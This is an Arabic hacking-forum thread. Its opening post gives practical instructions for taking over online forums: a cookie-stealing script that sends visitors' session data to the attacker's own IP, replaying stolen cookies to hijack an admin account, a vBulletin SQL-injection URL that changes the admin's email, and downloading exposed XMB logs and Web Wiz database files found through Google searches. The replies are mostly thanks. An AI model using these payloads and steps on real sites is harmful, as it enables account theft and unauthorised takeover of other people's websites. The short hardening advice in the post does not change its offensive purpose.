طرق متعددة لاختراق المنتديات

طرق متعددة لاختراق المنتديات


صفحة 1 من 3 123 الأخيرةالأخيرة
النتائج 1 إلى 10 من 21

الموضوع: طرق متعددة لاختراق المنتديات

  1. #1

    aljyyosh طرق متعددة لاختراق المنتديات

    السلام عليكم اليوم جبتلكم طرق عده لاختراق المنتديات نبدأ باسم الله ::.
    طرق اختراق المنتديات مجربه وفعاله

    الثغرة :
    ---------

    تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
    بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML ..

    قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
    ********>********.write('<img
    src="http://my_ip_address/'+********.****ie+'">';***********

    مع ملاحظة تغير الـ IP Adress الى رقم الـ IP الخاص بك .

    وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
    من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم
    الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها ) .

    وبعد ان تتم العملية بنجاح قم بفتح ملف الـ Log الخاص بالسيرفر الذي يحتويه جهازك ..
    مثال لو كان السيرفر اباتشي .. فتاح المجلد Apche واختر logs واختر Acces Log .
    ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ

    ابحث عن الكود الخاص بالباسورد .. مثال :

    GET/ bbuserid=86;%20bbpassword=dd61
    69d68822a116cd97e1fb






    ddf90622;%20sessionhash=a
    4719cd620534914930b86839c4bb5f
    8;%20bbthreadview[54






    20]=1012444064;%20bblastvi
    sit=1011983161

    فكر قليلا الان .. اين الباسورد ؟؟
    الباسورد موجودة لكن بطريقة مشفرة يصعب كسرها .. اذن مالحل ؟
    قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
    http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]
    ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
    في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..
    لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
    وثم قم بتسجيل الخروج .. ثم اذهب الى اداة Forgot Password .. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..

    اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !

    ------------
    الحل
    -----------

    للحماية من هذه الثغرة قم باغلاق الـ HTML في (المنتدى + الرسائل الخاصة + التواقيع + التقويم + ... )
    (واي منفذ يمكن من خلاله وضع كود HTML باي صورة كانت )

    كما يجب اغلا كود الـ IMG .. لانه ببساطة بامكانك استخدامه بدل كلمة ********> فاذا وضعت <img> او ********* او
    اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر ... لذا كن حذرا واغلق هذه المنافذ .
    Be Secret .. Dont' be Lamer .

    تاريخ اكتشاف الثغرة : 31 - 1 - 2002
    تم تجربتها على الاصدار 2.2.0 وهي تعمل بنجاح .










    إختراق منتديات VP
    ======================================
    اختراق المنتديات بس بمنتديات vb

    . قم بالتسجيل كعضو مع مراعاة التسجيل ببريد حقيقي

    2. تدخل المنتدى كعضو بأسم المستخدم وكلمة السر الخاصة بك

    3. أضغط على زر ( الأعضاء ) الموجود بالأعلي أو members .

    أو العنوان التفصيلي التالي :
    http://URL/memberlist.php

    URL = العنوان المستضيف للمنتدى

    مثل = - .com

    4. أضغط على أي مستخدم من المستخدمين عشوائيا وستلاحظ ظهور عنوان طويل بالأعلي في مستطيل العناوين address bar .

    سيظهر لك عنوان يحمل أرقاما وأحرفا عشوائية كالشكل التالي :

    http://URL/member.php?soitgoe68e45u...info&userid=266

    هذا العنوان الطويل يعني = عرض بيانات المستخدم رقم 266

    5. بكل بساطة غير الرقم من 266 الى الرقم واحد هكذا

    http://URL/member.php?soitgoe68e45u...etinfo&userid=1

    العضو رقم واحد عادة وأفتراضيا يكون هو المدير للمنتدى administrator .

    (((== ها أنت تجتاز الخطوة الأولى بنجاح وتعرف من هو المدير للموقع == ))

    أحفظ أسم المدير حيث أنك ستحتاجه بالخطوة التالية

    6. أكتب العنوان التالي مع تغيير المتغييرات التي ساذكرها :

    http://URL/member.php?action=login&...VALIDPASS&url=');'.$use rs=$DB_site->query('update+user+set+email='[email protected]'+WH ERE+username='ADMIN'').'

    العنوان هذا ستقوم بتغيير الكلمات التالية

    URL = كما ذكرنا سابقا الموقع المستضيف للمنتدى
    VALIDUSER = أسم المستخدم الخاص بك
    VALIDPASS = كلمة السر الخاصة بك
    [email protected] = البريد الذي سجلت به بالمنتدى
    ADMIN = أسم مدير المنتدى ( الذي أكتفشته بالخطوة السابقة )

    7. بعد أن تغيير جميع ما سبق وتتأكد منه تقوم بعمل أنعاش للمنتدى عدة مرات ******* .

    8. ثم ترجع لصفحة المنتدى الرئيسية
    http://url/index.php

    ثم حاول الدخول بأستخدام أسم المستخدم الخاص بك وأستعمال كلمة سر خاطئة ( يجب أن تكون خاطئة ) .

    بالطيع ستظهر لك الصفحة التعيسة التي تقول :

    أنت قمت بكتابة كلمة سر خاطئة

    you typed in the wrong password


    9. بكل بساطة أضغط على

    نسيت كلمة السر
    forgot password

    والتي ستقوم بأرسال كلمة السر الى بريدك الألكتروني

    10. أفتح بريدك وستجد كلمة السر الخاصة بمدير المنتدى




    ======================================
    إختراق منتديات xmb
    ======================================
    تعتبر المنتديات من نوع xmb من المنتديات التي اكتيبت شهره واسعه في مجالها وحالها حال الكثير من الأنواع الأخرى من المنتديات من وجود الثغرات والأختراقات فلا يوجد شيء كامل على وجه الأرض الا الله عز وجل..

    وصف للثغره::
    وقد تم اكتشاف ثغره جديده في هذا النوع من المنتديات مما يمكنك ان تكون المدير على المنتدى او تكون مشرف اوي اي عضو اخر

    الأصدار المصاب:::
    XMB 1.6 Magic Lantern Final

    الشرح والتطبيق:::
    جا وقت الشغل والجد<<< سوف اقوم بتقسيم الدرس على خطوات حتى يفهم ويكون اوووضح وأسهل:

    1- عليك بالذهاب الى موقع جوجل http://www.google.com/
    2- اكتب في منطقة البحث XMB 1.6 Magic Lantern Final
    3- سوف ترى منتديات كثييييييييره اكثرها مصابه بهذه الثغره لكن رجاااء
    لاتقرب المنتديات العربية وعليك بتحذيرها من الثغره الموجوده.
    4- اضغط على اي منتدى وقم بكتابة الكلمة التالية بعد عنوان المنتدى
    index_log.log يعني راح يكون زي كده
    http://www.******.com/massegboard/index_log.log
    5- راح ينزل عندك ملف والملف عباره عن ملف زي الكوكيز كبير وفيه اسماء
    المستخدمين والباسورد وأشياء ثانيه ماتهمنا.
    6- الأن عليك بالبحث في المنتدى عن اسم المدير وذلك بالذهاب الى المواضيع
    وتشوف الأسماء والي تلقى تحت اسمه ادمن ستريتور انسخ اسمه.
    7- افتح الملف الي نزلته من الموقع وسوي بحث عن اسم المدير راح يجيك زي
    كده مثلا::
    xmbuser=admin
    واباس راح تلقاه قدامه زي كده
    xmbpw=1faeb6747a31c854800ddf3c62b1717a
    8- طبعا الباس في هذه الحاله مشفر وفك التشفير صعب لهذا الغرض قامت شركة
    CCI بتصميم برنامج يقوم بهذا الغرض وهذه وصلت البرنامج
    ftp://www.cafecounterintelligence.com/cci/chigger.exe


    ======================================
    إختراق منتديات Web Wiz Guide
    ======================================
    مثال:http://host.basharnet.com/forum

    بسم الله الرحمن الرحيم

    السلام عليكم

    الشرح: ثغرة تصيب منتديات Web Wiz Guide

    أولا إذهب إلى google
    اكتب
    Web Wiz forum

    وانتظر لحد ماتطلع لك المواقع الي تدعم هذا المنتدى ادخل المنتدى واكتب بعد forum
    admin/wwforum.mdb

    حمل الملف وادخل عليه عن طريق microsoft office access

    بعد ماتاخذ باسوورد المشرف العام اذهب إلى admin

    سجل اسمك والباسوورد

    الآن أنت في لوحة التحكم

    اتمنى ان يكون الموضوع قد افادكم مع تحياتي لكم
    والرجاء الرد على الموضوع

  2. #2

    افتراضي رد: طرق متعددة لاختراق المنتديات

    الرجاء الرد على الموضوع

  3. #3

    افتراضي رد: طرق متعددة لاختراق المنتديات

    مشكوور موضوع ولا اروع

  4. #4

    افتراضي رد: طرق متعددة لاختراق المنتديات

    smahi العفو أكيد وان شاء الله في موضوعات اروع واجمل

  5. #5

    افتراضي رد: طرق متعددة لاختراق المنتديات

    كلها طرق من الماضي ولا تنفع اليوم
    شكرا على العموم

  6. #6

    افتراضي رد: طرق متعددة لاختراق المنتديات

    hakedz طيب اخوي كلامك ع عيني وراسي بس الطرق حلوه ومفيده
    وعفوا ومشكور على ردك

  7. #7

    افتراضي رد: طرق متعددة لاختراق المنتديات

    مشكوور موضوع ولا اروع

  8. #8

    افتراضي رد: طرق متعددة لاختراق المنتديات

    شكرا جزيلا لك اخي الكريم

  9. #9

    افتراضي رد: طرق متعددة لاختراق المنتديات

    saw-19 العفو أخوي لا بس انتو اروع من الموضوع

  10. #10

    افتراضي رد: طرق متعددة لاختراق المنتديات

    شكررررررررررررررررررررررر رررا

صفحة 1 من 3 123 الأخيرةالأخيرة

المواضيع المتشابهه

  1. للمبتدئين دورة لاختراق المواقع و المنتديات
    بواسطة ASDELY-ScOrPiOn في المنتدى اختراق المواقع والسيرفرات
    مشاركات: 24
    آخر مشاركة: 06-14-2012, 10:32 AM
  2. تحميل برنامج كولينك goolink الروري لاختراق المنتديات ©
    بواسطة the haker in morocco في المنتدى قسم المواضيع المخالفة والمكررة
    مشاركات: 43
    آخر مشاركة: 03-06-2012, 02:19 AM
  3. للمبتدئين دورة لاختراق المواقع و المنتديات
    بواسطة ASDELY-ScOrPiOn في المنتدى منتدى إختراق المنتديات
    مشاركات: 114
    آخر مشاركة: 08-01-2011, 02:11 AM
  4. لاختراق المواقع و المنتديات للمبتدئين
    بواسطة الشريف 515 في المنتدى منتدى الإختراق العام
    مشاركات: 1
    آخر مشاركة: 12-06-2010, 04:45 AM
  5. تكفون شرح سريع ومفيد ودقيق لاختراق المنتديات
    بواسطة رحيق البيلسان في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 4
    آخر مشاركة: 12-27-2009, 05:36 PM

الكلمات الدلالية لهذا الموضوع

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •